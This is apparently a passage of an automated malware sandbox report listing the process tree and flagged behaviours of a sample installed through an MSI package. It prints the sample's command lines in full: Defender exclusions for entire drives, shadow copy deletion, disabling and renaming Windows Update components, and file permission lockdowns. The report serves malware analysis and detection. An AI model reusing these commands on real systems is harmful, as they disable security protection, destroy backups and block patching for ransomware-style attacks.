The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_ehe008.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3352

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2924
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1968
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding A4CC12CF465C729E435EA9BF9707C3ED E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3880

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4360

C:\Users\Public\mgk0Vu\XtU4y7.exe
"C:\Users\Public\mgk0Vu\XtU4y7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mgk0Vu\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mgk0Vu\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5628
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5032
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2956
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2300
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:996
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3232
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2936
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3436
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3032
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1140
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:244
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5524
- C:\Program Files (x86)\Bcjbvl\XCmaVi.exe
  "C:\Program Files (x86)\Bcjbvl\XCmaVi.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5016
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5032
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1860
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4772
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2124
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2088
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3948
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:4312
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:4548
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:1968
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:3188
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1720
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:1500
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:2360
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4468
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3508
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:5696
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:3348
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:4900
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4392
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:3280
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:3116
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5060
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1656
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5732
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:268
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1900
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3552
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4408
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5916
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1468
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3456
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1924
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:6136
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:2496
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3824
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Bcjbvl\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3584
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Bcjbvl\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4004
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5928
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3040
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2204
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2384
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3204
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5608
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3940
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:5424
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5212
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4988
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5188
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5100
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5264
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1740
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2408
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2764
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4920
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\XCmaVi.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3028
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\XCmaVi.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2796
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\XCmaVi.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4320
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\XCmaVi.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:728
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\XCmaVi.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2128
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\XCmaVi.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1472
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2136
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3368
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1192
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5412
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4232
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2480
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:6120
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1636
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2012
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4976
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1524
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:732
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5368
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5952
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:912
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1420
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4228
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1344
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2428
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Bcjbvl\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5880
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Bcjbvl\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3564

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mgk0Vu" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4304
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mgk0Vu" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5404
